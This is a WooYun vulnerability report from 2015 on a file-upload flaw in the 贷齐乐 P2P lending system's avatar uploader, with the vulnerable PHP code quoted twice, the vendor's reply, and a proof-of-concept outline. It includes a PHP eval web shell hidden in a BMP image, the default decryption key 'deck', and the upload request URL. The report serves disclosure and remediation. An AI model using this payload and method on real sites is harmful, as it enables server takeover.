当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144444

漏洞标题:贷齐乐p2p系统存在任意命令执行漏洞

相关厂商:chinaanhe.com

漏洞作者: Xser

提交时间:2015-10-01 21:48

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-01: 细节已通知厂商并且等待厂商处理中
2015-10-02: 厂商已经确认,细节仅向厂商公开
2015-10-05: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-11-26: 细节向核心白帽子及相关领域专家公开
2015-12-06: 细节向普通白帽子公开
2015-12-16: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

RT

详细说明:

出现在用户上传头像那里
跟踪文件plugins/avatar/avatar.class.php中

function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));
$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}


$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;

$uid.$filetype这个两个参数拼合了
如果可控就可以getshell,我们跟踪看看是否可控
uid

$uid = $this->input('uid');


filetype

$filetype = $imgtype[$type];


跟踪input

function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}
function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}


看到init_input函数是获取input的值

$input = $this->authcode($input, 'DECODE', 'deck');

这里用了默认的deck密匙解密
POC构造:
$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual
提交上传请求
然后访问

360截图20151001213615344.jpg

漏洞证明:

出现在用户上传头像那里
跟踪文件plugins/avatar/avatar.class.php中

function onuploadavatar() {

@header("Expires: 0");
@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
@header("Pragma: no-cache");
//header("Content-type: application/xml; charset=utf-8");

$this->init_input($this->getgpc('agent', 'G'));
$uid = $this->input('uid');
if(empty($uid)) {
return -1;
}
if(empty($_FILES['Filedata'])) {
return -3;
}
list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
$filetype = $imgtype[$type];
$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;
file_exists($tmpavatar) && @unlink($tmpavatar);
if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
@unlink($_FILES['Filedata']['tmp_name']);
list($width, $height, $type, $attr) = getimagesize($tmpavatar);
if($width < 10 || $height < 10 || $type == 4) {
@unlink($tmpavatar);
return -2;
}
} else {
@unlink($_FILES['Filedata']['tmp_name']);
return -4;
}
$avatarurl = AVATAR_DATAURL.'/tmp/upload'.$uid.$filetype;
return $avatarurl;
}


$tmpavatar = AVATAR_DATADIR.'./tmp/upload'.$uid.$filetype;

$uid.$filetype这个两个参数拼合了
如果可控就可以getshell,我们跟踪看看是否可控
uid

$uid = $this->input('uid');


filetype

$filetype = $imgtype[$type];


跟踪input

function input($k) {
return isset($this->input[$k]) ? (is_array($this->input[$k]) ? $this->input[$k] : trim($this->input[$k])) : NULL;
}
function init_input($getagent = '') {
$input = $this->getgpc('input', 'R');

if($input) {
$input = $this->authcode($input, 'DECODE', 'deck');

parse_str($input, $this->input);
$this->input = $this->daddslashes($this->input, 1, TRUE);
$agent = $getagent ? $getagent : $this->input['agent'];
if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
exit('Access denied for agent changed');
} elseif($this->time - $this->input('time') > 3600) {
exit('Authorization has expired');
}
}
if(empty($this->input)) {
exit('Invalid input');
}
}


看到init_input函数是获取input的值

$input = $this->authcode($input, 'DECODE', 'deck');

这里用了默认的deck密匙解密
POC构造:
$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual
提交上传请求
然后访问

360截图20151001213615344.jpg

修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-10-02 10:52

厂商回复:

测试这个版本应该是贷齐乐盗版或者是贷齐乐12年版本,请测试官方正式版,否则请不要以贷齐乐版本命名

最新状态:

2015-10-02: onuploadavatar() 这个函数已经不是这么写的了,具体请测试宁波贷